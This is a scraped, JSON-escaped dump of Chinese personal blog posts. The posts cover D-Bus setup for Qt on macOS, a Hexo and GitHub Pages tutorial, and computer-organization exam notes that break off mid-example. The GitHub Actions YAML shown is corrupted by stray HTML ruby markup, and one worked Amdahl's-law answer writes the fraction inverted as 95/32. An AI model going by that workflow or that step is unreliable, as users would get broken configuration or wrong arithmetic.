Qt\u003c/h2\u003e\u003cp\u003e最近的操作系统实验要求写个进程间通信程序,我注意到了 D-Bus 这个可以双向通信的协议,它能够通知到接收方。\u003c/p\u003e\u003cp\u003eD-Bus 协议是 Unix 平台下的用于进程间通信(IPC,Inter-Process Communication)的协议,它也可用于远程过程调用(RPC,Remote Procedure Call)。\u003c/p\u003e\u003cp\u003eQt 是一个广泛使用的图形界面库,它将系统的 D-Bus 库封装成为 \u003ccode\u003eQDbus\u003c/code\u003e 类,便于我们去使用。在\u003ca href=\"https://doc.qt.io/qt-5/ipc.html#d-bus-protocol\"\u003e官方文档\u003c/a\u003e中,这是一种推荐的进程间通信方法,不过它仅支持 Unix 平台(Linux 或 macOS)。\u003c/p\u003e\u003cp\u003e不过 macOS,和众多主流 Linux 操作系统还是有所不同的。虽然 macOS 属于 Unix 系的操作系统,但它没有预装 D-Bus 库,所以想要在 Qt 里面使用 D-Bus 协议进行进程间通信,首先需要手动安装 D-Bus 服务。\u003c/p\u003e\u003ch2 id=\"toc_191\"\u003e安装 D-Bus\u003c/h2\u003e\u003cp\u003e如果你是个程序员,你的电脑上肯定安装了 Homebrew 或者其他的包管理工具,以提高效率。\u003c/p\u003e\u003cp\u003e下面就以 Homebrew 为例,安装 D-Bus。执行下面的安装命令。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ebrew install dbus\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e安装完成后,你能在 \u003ccode\u003e/opt/homebrew/Cellar/dbus\u003c/code\u003e 目录下找到它,这个目录之后会用到。\u003c/p\u003e\u003cp\u003e我安装的版本是 1.14.0,所以 D-Bus 库在 \u003ccode\u003e/opt/homebrew/Cellar/dbus/1.14.0\u003c/code\u003e 下,下面将以这个版本为例。\u003c/p\u003e\u003ch2 id=\"toc_192\"\u003e启动 D-Bus 服务\u003c/h2\u003e\u003cp\u003e下面的两种方法,只需要看其中一种。\u003c/p\u003e\u003ch3 id=\"toc_193\"\u003eHomebrew Services\u003c/h3\u003e\u003cp\u003eHomebrew 提供了方便的类似于 Linux 下 service 命令的服务管理功能,其实本质也是调用了 launchctl 进行管理。\u003c/p\u003e\u003cp\u003e执行下面的命令即可启动 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ebrew services start dbus\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果出现下面的报错,说明之前已经启动过服务了。可以执行 \u003ccode\u003ebrew services stop dbus\u003c/code\u003e 来停止服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eBootstrap failed: 5: Input/output error\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_194\"\u003eLaunchctl\u003c/h3\u003e\u003cp\u003eLaunchctl 是 macOS 原生的服务管理。\u003c/p\u003e\u003cp\u003e建立软连接到 \u003ccode\u003e~/Library/LaunchAgents\u003c/code\u003e 目录。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003eln -sfv /opt/homebrew/Cellar/dbus/1.14.0/org.freedesktop.dbus-session.plist ~/Library/LaunchAgents\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行下面的命令可以启动 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003elaunchctl load ~/Library/LaunchAgents/org.freedesktop.dbus-session.plist\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行下面的命令关闭 D-Bus 服务。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003elaunchctl unload ~/Library/LaunchAgents/org.freedesktop.dbus-session.plist\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果有报错,可能是因为已经启动过服务了,可以关闭服务再启动试试。\u003c/p\u003e\u003ch3 id=\"toc_195\"\u003e备注\u003c/h3\u003e\u003cp\u003e如果非 root 权限无法启动,可能是由于目录权限不足,可以使用 chown 命令来修改 Homebrew 目录的所有者。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003esudo chown -R $(whoami) $(brew --prefix)/*\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e$(whoami)\u003c/code\u003e 变量指的是当前用户名。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e$(brew --prefix)\u003c/code\u003e 指的是 Homebrew 目录,我的是 \u003ccode\u003e/opt/homebrew\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_196\"\u003e添加外部库\u003c/h2\u003e\u003cp\u003e按照\u003ca href=\"https://doc.qt.io/qt-5/macos-issues.html#d-bus-and-macos\"\u003e官方文档\u003c/a\u003e的说法,macOS 下因为没有原生的 libdbus-1 库,所以需要自己引入。\u003c/p\u003e\u003cp\u003e刚才我们安装的 D-Bus 目录下面已经包含这些库啦,所以只需要在 Qt Creator 的项目中引入这些库就好。以我的为例,这个库的在 \u003ccode\u003e/opt/homebrew/Cellar/dbus/1.14.0/lib/libdbus-1.dylib\u003c/code\u003e 路径下。现在右键点击项目名称,点击「\u003cstrong\u003e添加库…\u003c/strong\u003e」,选择「\u003cstrong\u003e外部库\u003c/strong\u003e」。在「\u003cstrong\u003e库文件\u003c/strong\u003e」里填入库的路径,「包含路径」将会自动配置好,平台只选择 Mac 平台,接下来一路下一步就好啦。\u003c/p\u003e\u003cp\u003e\u003cfigure\u003e\u003cimg class=\"\" alt=\"添加库\" data-src=\"https://upload.hawa130.com/2022/05/%E6%88%AA%E5%B1%8F2022-05-08%2019.43.41.png#vwid=612\u0026vhei=559\" src=\"https://upload.hawa130.com/2022/05/%E6%88%AA%E5%B1%8F2022-05-08%2019.43.41.png#vwid=612\u0026vhei=559\"\u003e\u003cfigcaption\u003e添加库\u003c/figcaption\u003e\u003c/figure\u003e\u003c/p\u003e\u003ch2 id=\"toc_197\"\u003e试试看\u003c/h2\u003e\u003cp\u003e在 Qt Creator 的「示例」中,有个名为「D-Bus Chat Example」的示例项目,打开它,安装上述方法进行配置。\u003c/p\u003e\u003cp\u003e如果你成功地运行了这个项目,弹出了窗口,说明一切都到位了,你的 QDBus 是可以正常运行的。\u003c/p\u003e\u003cp\u003e如果不幸没有配置好的话,控制台会有如下的输出,说明前面有哪一步出了问题。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eCannot connect to the D-Bus session bus.\nPlease check your system settings and try again.\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_198\"\u003e在自己的项目中使用\u003c/h2\u003e\u003cp\u003e以下内容为根据 Qt 示例的个人猜测,反正能用。\u003c/p\u003e\u003ch3 id=\"toc_199\"\u003e建立 D-BUS Object Introspection XML\u003c/h3\u003e\u003cp\u003e模仿示例项目中的 \u003ccode\u003eorg.example.chat.xml\u003c/code\u003e 文件,新建一个自己的,新建文件时选择「\u003cstrong\u003eGeneral\u003c/strong\u003e」\u0026gt;「\u003cstrong\u003eEmpty File\u003c/strong\u003e」,文件命名为 \u003ccode\u003e\u0026lt;组织类型\u0026gt;.\u0026lt;组织名\u0026gt;.\u0026lt;项目名\u0026gt;.xml\u003c/code\u003e 的格式,例如我新建一个 \u003ccode\u003eorg.hawa130.dbuschat.xml\u003c/code\u003e 的文件,里面模仿示例文件写入内容。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-xml\"\u003e\u0026lt;!DOCTYPE node PUBLIC \u0026quot;-//freedesktop//DTD D-BUS Object Introspection 1.0//EN\u0026quot;\n\u0026quot;http://www.freedesktop.org/standards/dbus/1.0/introspect.dtd\u0026quot;\u0026gt;\n\u0026lt;node\u0026gt;\n \u0026lt;interface name=\u0026quot;org.hawa130.dbuschat\u0026quot;\u0026gt;\n \u0026lt;signal name=\u0026quot;message\u0026quot;\u0026gt;\n \u0026lt;arg name=\u0026quot;name\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;arg name=\u0026quot;content\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;/signal\u0026gt;\n \u0026lt;signal name=\u0026quot;action\u0026quot;\u0026gt;\n \u0026lt;arg name=\u0026quot;name\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;arg name=\u0026quot;content\u0026quot; type=\u0026quot;s\u0026quot; direction=\u0026quot;out\u0026quot;/\u0026gt;\n \u0026lt;/signal\u0026gt;\n \u0026lt;/interface\u0026gt;\n\u0026lt;/node\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e其中 \u003ccode\u003einterface\u003c/code\u003e 的 \u003ccode\u003ename\u003c/code\u003e 属性写文件名。\u003c/p\u003e\u003cp\u003e接下来里面的是信号,这里示例的有两个信号,一个名为「message」,另一个名为「action」,表示聊天的消息以及成员的动作(加入 / 退出)。\u003c/p\u003e\u003cp\u003e每个信号里面包含了信号的参数。一个典型的消息需要有发出者和消息内容本身,所以需要两个参数:\u003ccode\u003ename\u003c/code\u003e属性是可选的,但是为了标记,最好还是写上,「name」指的是成员的名字,「content」指的是消息内容;后面的 \u003ccode\u003etype\u003c/code\u003e 为 \u003ccode\u003es\u003c/code\u003e,指字符串;\u003ccode\u003edirection\u003c/code\u003e 为 \u003ccode\u003eout\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这个 xml 的内容可以按照自己的需要写。可以参考\u003ca href=\"https://www.gnu.org/software/emacs/manual/html_node/dbus/Introspection.html\"\u003e简明文档\u003c/a\u003e以及更详细的\u003ca href=\"https://dbus.freedesktop.org/doc/dbus-specification.html#introduction\"\u003e官方文档\u003c/a\u003e,了解写 D-Bus xml 的详细知识。\u003c/p\u003e\u003ch3 id=\"toc_200\"\u003e项目配置\u003c/h3\u003e\u003cp\u003e在你的 \u003ccode\u003e.pro\u003c/code\u003e 项目配置文件中,添加下面的内容,之后「\u003cstrong\u003e添加外部库\u003c/strong\u003e」。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-makefile\"\u003eQT += dbus\n\nDBUS_ADAPTORS += org.hawa130.dbuschat.xml\nDBUS_INTERFACES += org.hawa130.dbuschat.xml\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_201\"\u003e引入头文件\u003c/h3\u003e\u003cp\u003e接下来 Build 会产生头文件。名为 \u003ccode\u003e\u0026lt;项目名\u0026gt;_adaptor.h\u003c/code\u003e 以及 \u003ccode\u003e\u0026lt;项目名\u0026gt;_interface.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e以我的为例,在需要用到 D-Bus 的代码加入下面的头文件即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003e#include \u0026quot;dbuschat_adaptor.h\u0026quot;\n#include \u0026quot;dbuschat_interface.h\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_202\"\u003eQDbus 的使用\u003c/h3\u003e\u003cp\u003e可以理解成线程间的信号与槽。\u003c/p\u003e\u003cp\u003e可以参考示例项目的代码理解。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-cpp\"\u003enew ChatAdaptor(this);\nQDBusConnection::sessionBus().registerObject(\u0026quot;/\u0026quot;, this);\n\norg::example::chat *iface;\niface = new org::example::chat(QString(), QString(), QDBusConnection::sessionBus(), this);\n// 可以将 iface 作为普通的 QObject 来举行信号与槽的连接\nconnect(iface, SIGNAL(message(QString,QString)), this, SLOT(messageSlot(QString,QString)));\u003c/code\u003e\u003c/pre\u003e\n","url":"https://hawa130.com/archives/823/"},{"title":"Hexo 建站简易教程","time":"2022-04-30T14:45:00Z","content":"前言本站是基于 Typecho 的动态博客系统,为什么还要写这篇文章呢?因为最近在教别人某个笨蛋建立静态博客的过程中,发现中文互联网上的教程或多或少都有些过时,于是便结合官方文档,萌生了写这篇文...\u003chr /\u003e\n\u003ch2 id=\"toc_203\"\u003e前言\u003c/h2\u003e\u003cp\u003e本站是基于 Typecho 的动态博客系统,为什么还要写这篇文章呢?\u003c/p\u003e\u003cp\u003e因为最近在教别人\u003cdel\u003e\u003ca href=\"https://smilin9.com\"\u003e某个笨蛋\u003c/a\u003e\u003c/del\u003e建立静态博客的过程中,发现中文互联网上的教程或多或少都有些过时,于是便结合官方文档,萌生了写这篇文章的想法。\u003c/p\u003e\u003ch2 id=\"toc_204\"\u003e前期准备\u003c/h2\u003e\u003cp\u003e可参考\u003ca href=\"https://hexo.io/zh-cn/docs/\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e安装 \u003ca href=\"https://nodejs.org/\"\u003eNode.js\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e安装 \u003ca href=\"http://git-scm.com/\"\u003eGit\u003c/a\u003e。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e如果想利用 GitHub Pages 实现远程访问,需要拥有 GitHub 账号。下面就用 GitHub Pages 来举例啦。\u003c/p\u003e\u003cp\u003e其他的静态页面托管平台用起来也许会更容易吧,只要把生成的网页文件夹(public)放在可访问的目录即可。\u003c/p\u003e\u003ch2 id=\"toc_205\"\u003e安装 Hexo\u003c/h2\u003e\u003ch3 id=\"toc_206\"\u003e设置下载源\u003c/h3\u003e\u003cp\u003e设置成淘宝源可以显著提高 npm 下载速度(不过如果你有其他加速手段就不必设置了)。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003enpm config set registry https://registry.npm.taobao.org\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_207\"\u003e安装 Hexo\u003c/h3\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003enpm install -g hexo-cli\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"toc_208\"\u003e配置 Git\u003c/h2\u003e\u003cp\u003e如果想要把静态博客建在 GitHub Pages 上,必然离不开 Git 这个能够与远程仓库交互的工具。\u003c/p\u003e\u003cp\u003e为了使本地的 Git 软件能够连接到远程的 GitHub 服务器,需要先设置 ssh 密钥。\u003c/p\u003e\u003ch3 id=\"toc_209\"\u003e本地生成密钥\u003c/h3\u003e\u003ch4 id=\"toc_210\"\u003e生成密钥\u003c/h4\u003e\u003cp\u003eWindows 用户打开 Git Bash,执行下面的命令。「邮箱」就是注册 GitHub 时的那个邮箱。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003essh-keygen -t rsa -C \u0026quot;邮箱\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行之后连按 Enter。此时本地密钥文件将会出现在 \u003ccode\u003e~/.ssh/\u003c/code\u003e 目录下。(\u003ccode\u003e~\u003c/code\u003e 指的是用户目录,在 Windows 环境下,这个目录一般是 \u003ccode\u003eC:\\Users\\你的用户名\\\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"toc_211\"\u003e复制公钥\u003c/h4\u003e\u003cp\u003e可以用文本编辑器打开 \u003ccode\u003e~/.ssh/id_rsa.pub\u003c/code\u003e,查看复制里面的内容。\u003c/p\u003e\u003cp\u003e也可以执行下面的命令查看 id_rsa.pub 的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003ecat ~/.ssh/id_rsa.pub\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e复制内容即可。\u003c/p\u003e\u003ch3 id=\"toc_212\"\u003eGitHub 端设置\u003c/h3\u003e\u003cul\u003e\u003cli\u003e进入 GitHub 的 \u003ca href=\"https://github.com/settings/keys\"\u003eSSH 密钥设置\u003c/a\u003e。\u003c/li\u003e\u003cli\u003e点击「New SSH Key」。\u003c/li\u003e\u003cli\u003e「Title」随便填,是能够表示这台电脑的标识。\u003c/li\u003e\u003cli\u003e「Key」填写刚才复制的 id_rsa.pub 内容。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_213\"\u003eGit 用户设置\u003c/h3\u003e\u003cp\u003e执行下面的命令,用户名和邮箱均为注册 GitHub 时填的那个。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit config --global user.name \u0026quot;用户名\u0026quot;\ngit config --global user.email \u0026quot;邮箱\u0026quot;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e上面的步骤完成后就可以测试下和 GitHub 的连通性,执行下面的命令即可。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003essh -T git@github.com\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e第一次测试会有如下的输出:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eThe authenticity of host 'github.com (20.205.243.166)' can't be established.\nED25519 key fingerprint is SHA256:****.\nThis key is not known by any other names\nAre you sure you want to continue connecting (yes/no/[fingerprint])?\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e此时输入 \u003ccode\u003eyes\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果成功的话会看到如下的输出:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eWarning: Permanently added 'github.com' (ED25519) to the list of known hosts.\nHi hawa130! You've successfully authenticated, but GitHub does not provide shell access.\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果没成功的话,请重新生成密钥,再来一次吧。也有可能是公钥没复制好,重新复制一下,并添加到 GitHub。\u003c/p\u003e\u003cp\u003e完成以上步骤了的话,Git 就配置好了!\u003c/p\u003e\u003ch2 id=\"toc_214\"\u003e建立站点目录\u003c/h2\u003e\u003cp\u003e此部分可参考\u003ca href=\"https://hexo.io/zh-cn/docs/setup\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e这个 folder 就是站点目录了。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo init \u0026lt;folder\u0026gt;\ncd \u0026lt;folder\u0026gt;\nnpm install\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e并\u003ca href=\"https://hexo.io/zh-cn/docs/configuration.html\"\u003e配置 _config.yml\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"toc_215\"\u003e部署到 GitHub\u003c/h2\u003e\u003cp\u003e现在部署在 GitHub Pagse 的 Hexo 可以不需要进行 \u003ccode\u003ehexo g\u003c/code\u003e 来生成站点了。利用 GitHub Actions,我们可以白嫖 GitHub 的服务器资源来帮助我们自动化生成站点并部署。(这也是中文教程缺失的一点,大部分都是传统的本地生成)\u003c/p\u003e\u003cp\u003e参考的\u003ca href=\"https://hexo.io/docs/github-pages.html\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003ch3 id=\"toc_216\"\u003e建立 Git 仓库\u003c/h3\u003e\u003cp\u003e进入到站点目录。也就是 \u003ccode\u003ehexo init\u003c/code\u003e 生成的那个文件夹里。执行下面的命令:\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit init\ngit add . # 有个点\ngit commit -m \u0026quot;initial commit\u0026quot; # 引号里面的是提交信息,可以随便写\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_217\"\u003e推送到 GitHub\u003c/h3\u003e\u003ch4 id=\"toc_218\"\u003e使用命令行\u003c/h4\u003e\u003cp\u003e在 GitHub 上新建一个空仓库(repo)。如果想要白嫖 GitHub 的 *.github.io 的域名来访问静态博客,那就把仓库起名为「用户名.github.io」。其他的就用默认设置就行了。(如果你财大气粗,有自己购买的域名,那就随意起仓库名吧)\u003c/p\u003e\u003cp\u003e此时还是在你的站点目录里面,执行下面的命令。GitHub 在空仓库的界面也会显示这些命令(选择 SSH,在第二个内容块)。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit remote add origin git@github.com:用户名/仓库名.git\ngit branch -M main\ngit push -u origin main\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e执行完这些命令,没报错的话就是推送到 GitHub 上了,可以刷新 GitHub 看看。\u003c/p\u003e\u003ch4 id=\"toc_219\"\u003e使用 GitHub Desktop 客户端\u003c/h4\u003e\u003cp\u003e\u003cstrong\u003eFile\u003c/strong\u003e \u0026gt; \u003cstrong\u003eAdd Local Repository...\u003c/strong\u003e,添加刚才建立的 git 仓库,然后发布即可。\u003c/p\u003e\u003ch3 id=\"toc_220\"\u003e配置 GitHub Actions\u003c/h3\u003e\u003ch4 id=\"toc_221\"\u003e创建 Actions 配置\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003e.github\u003c/code\u003e 目录里面新建文件夹 \u003ccode\u003eworkflows\u003c/code\u003e,再新建一个文件 \u003ccode\u003epages.yml\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e也就是 \u003ccode\u003e.github/workflows/pages.yml\u003c/code\u003e,里面写入以下内容。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-yaml\"\u003ename: Pages\n\non:\n push:\n branches:\n - main # default branch\n\njobs:\n pages:\n runs-on: ubuntu-latest\n steps:\n - uses: actions/checkout@v2\n - name: Use Node.js 16.x\n uses: actions/setup-node@v2\n with:\n node-version: '16'\n - name: Cache NPM dependencies\n uses: actions/cache@v2\n with:\n path: node_modules\n key: $\u003cruby\u003e runner.OS }}-npm-cache\n restore-keys\u003crp\u003e(\u003c/rp\u003e\u003crt\u003e |\n ${{ runner.OS \u003c/rt\u003e\u003crp\u003e)\u003c/rp\u003e\u003c/ruby\u003e-npm-cache\n - name: Install Dependencies\n run: npm install\n - name: Build\n run: npm run build\n - name: Deploy\n uses: peaceiris/actions-gh-pages@v3\n with:\n github_token: ${{ secrets.GITHUB_TOKEN }}\n publish_dir: ./public\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_222\"\u003e设置 Actions 权限\u003c/h4\u003e\u003cp\u003e找到 \u003cstrong\u003eSettings\u003c/strong\u003e \u0026gt; \u003cstrong\u003eActions\u003c/strong\u003e \u0026gt; \u003cstrong\u003eGeneral\u003c/strong\u003e 里的 \u003cstrong\u003eWorkflow permissions\u003c/strong\u003e(在最下面),设置为 「\u003cstrong\u003eRead and write permissions\u003c/strong\u003e」。\u003c/p\u003e\u003ch3 id=\"toc_223\"\u003e将改动推送到 GitHub 上\u003c/h3\u003e\u003cp\u003e以后每次改完文件,都可以执行下面的命令来同步到 GitHub 上。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit add .github/workflows/pages.yml\ngit commit -m \u0026quot;修改 Actions 配置\u0026quot;\ngit pull\ngit push\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果你使用的是 GitHub Desktop 客户端,填写 Message,点击 Commit 然后再点击上面的 Push 就行。\u003c/p\u003e\u003ch3 id=\"toc_224\"\u003e设置 GitHub Pages\u003c/h3\u003e\u003cp\u003e回到 GitHub 的这个仓库。\u003c/p\u003e\u003cp\u003e找到 \u003cstrong\u003eSettings\u003c/strong\u003e \u0026gt; \u003cstrong\u003ePages\u003c/strong\u003e \u0026gt; \u003cstrong\u003eSource\u003c/strong\u003e,改成「\u003cstrong\u003egh-pages\u003c/strong\u003e」。如果选项里没有 gh-pages,那一定是前面的 Actions 配置出现了问题,可以去 Actions 这个标签里看看报错。\u003c/p\u003e\u003cp\u003e如果你有域名的话,底下的 CNAME 可以设置为自己的域名。(没有域名的话就不要乱动了)\u003c/p\u003e\u003ch2 id=\"toc_225\"\u003e访问网站\u003c/h2\u003e\u003cp\u003e浏览器访问「用户名.github.io」或者你的自定义域名,如果没问题的话,静态博客就呈现在你的屏幕上啦!\u003c/p\u003e\u003ch2 id=\"toc_226\"\u003eHexo 使用\u003c/h2\u003e\u003ch3 id=\"toc_227\"\u003e基本命令\u003c/h3\u003e\u003cp\u003e更多命令可参考\u003ca href=\"https://hexo.io/zh-cn/docs/commands\"\u003e官方文档\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"toc_228\"\u003e新建文章\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo new [layout] \u0026lt;title\u0026gt;\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e在默认的条件下,新建的文章会保存在 \u003ccode\u003esource/_posts/\u003c/code\u003e 目录下。\u003c/p\u003e\u003cp\u003e新建的文章可以直接推送到 GitHub,不需要执行 \u003ccode\u003ehexo g\u003c/code\u003e 和 \u003ccode\u003ehexo d\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"toc_229\"\u003e生成页面\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo g\u003c/code\u003e\u003c/pre\u003e\u003ch4 id=\"toc_230\"\u003e预览站点\u003c/h4\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003ehexo s\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"toc_231\"\u003e把新文章推送到 GitHub\u003c/h3\u003e\u003cp\u003e如果你新建了一篇文章,需要推送到 GitHub 上。还是老样子。\u003c/p\u003e\u003cpre\u003e\u003ccode class=\"lang-shell\"\u003egit add .\ngit commit -m \u0026quot;新文章\u0026quot;\ngit pull\ngit push\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果你使用的是 GitHub Desktop 客户端,填写 Message,点击 Commit 然后再点击上面的 Push 就行。\u003c/p\u003e\u003ch2 id=\"toc_232\"\u003eHexo 特殊技巧\u003c/h2\u003e\u003cp\u003eGitHub 上有众多 hexo 主题,搜索关键词「hexo theme」就能找到不少。\u003c/p\u003e\n","url":"https://hawa130.com/archives/819/"},{"title":"计组期中复习笔记","time":"2022-04-24T10:48:00Z","content":"计算机基础发展史第一代:电子管;机器语言。第二代:晶体管;监控语言、高级语言。第三代:中小规模集成电路、磁芯存储器;高级语言、分时操作系统。第四代:大规模与超大规模集成电路、半导体存储器、微处理...\u003chr /\u003e\n\u003ch2 id=\"toc_233\"\u003e计算机基础\u003c/h2\u003e\u003ch3 id=\"toc_234\"\u003e发展史\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e第一代:\u003c/strong\u003e电子管;机器语言。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第二代:\u003c/strong\u003e晶体管;监控语言、高级语言。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第三代:\u003c/strong\u003e中小规模集成电路、磁芯存储器;高级语言、分时操作系统。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第四代:\u003c/strong\u003e大规模与超大规模集成电路、半导体存储器、微处理器;DOS / Windows,Unix / Linux,Mac OS。\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e第五代:\u003c/strong\u003e巨大规模集成电路,超大规模、超高速集成电路,多处理器、多核处理器;软件与算法。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_235\"\u003e基本组成\u003c/h3\u003e\u003cul\u003e\u003cli\u003e硬件系统\u003c/li\u003e\u003cli\u003e软件系统\u003c/li\u003e\u003cli\u003e指令体系结构(ISA)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"toc_236\"\u003e分类\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003eFlynn 分类法。\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003eSISD(单指令流单数据流)\u003c/li\u003e\u003cli\u003eSIMD\u003c/li\u003e\u003cli\u003eMISD\u003c/li\u003e\u003cli\u003eMIMD(多指令流多数据流)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"toc_237\"\u003e加速比\u003c/h2\u003e\u003ch3 id=\"toc_238\"\u003e阿姆达尔定律\u003c/h3\u003e\u003cp\u003e改进后系统执行时间:$T_n=T_0(1-f_e+\\frac{f_e}{r_e})$\u003c/p\u003e\u003cp\u003e加速比:$S_p=\\frac{1}{1-f_e+\\frac{f_e}{r_e}}$\u003c/p\u003e\u003cp\u003e​ 多个部件的加速比:$S_p=\\frac{1}{1-\\sum f_e+\\sum \\frac{f_e}{r_e}}$\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e符号\u003c/th\u003e\u003cth align=\"left\"\u003e含义\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$T_0$\u003c/td\u003e\u003ctd align=\"left\"\u003e改进前系统执行时间\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$f_e$\u003c/td\u003e\u003ctd align=\"left\"\u003e可改进比例(可改进部分在原执行时间中所占的比例)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e$r_e$\u003c/td\u003e\u003ctd align=\"left\"\u003e部件加速比(某部件改进后性能提高的比例)\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"toc_239\"\u003e例题\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e若计算机系统有 3 个部件 a、b、c 是可改进的,它们的部件加速比分别为 30、30、20,部件 a 和 b 在总执行时间中所占的比例分别是 30%、30%。 若要使整个系统的加速比达到 10,则部件 c 在总执行时间中所占的比例应为 ?%\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e$S_p=10$\u003c/p\u003e\u003cp\u003e$\\sum f_e=0.3+0.3+x=0.6+x$\u003c/p\u003e\u003cp\u003e$\\sum \\frac{f_e}{r_e}=\\frac{0.3}{30}+\\frac{0.3}{30}+\\frac{x}{20}=0.02+\\frac{x}{20}$\u003c/p\u003e\u003cp\u003e带入公式得:$10=\\frac{1}{1-(0.6+x)+(0.02+\\frac{x}{20})}$\u003c/p\u003e\u003cp\u003e解得:$x=\\frac{95}{32} \\approx 0.3368$\u003c/p\u003e\u003ch2 id=\"toc_240\"\u003e进制转换\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e例:\u003c/strong\u003e97.625 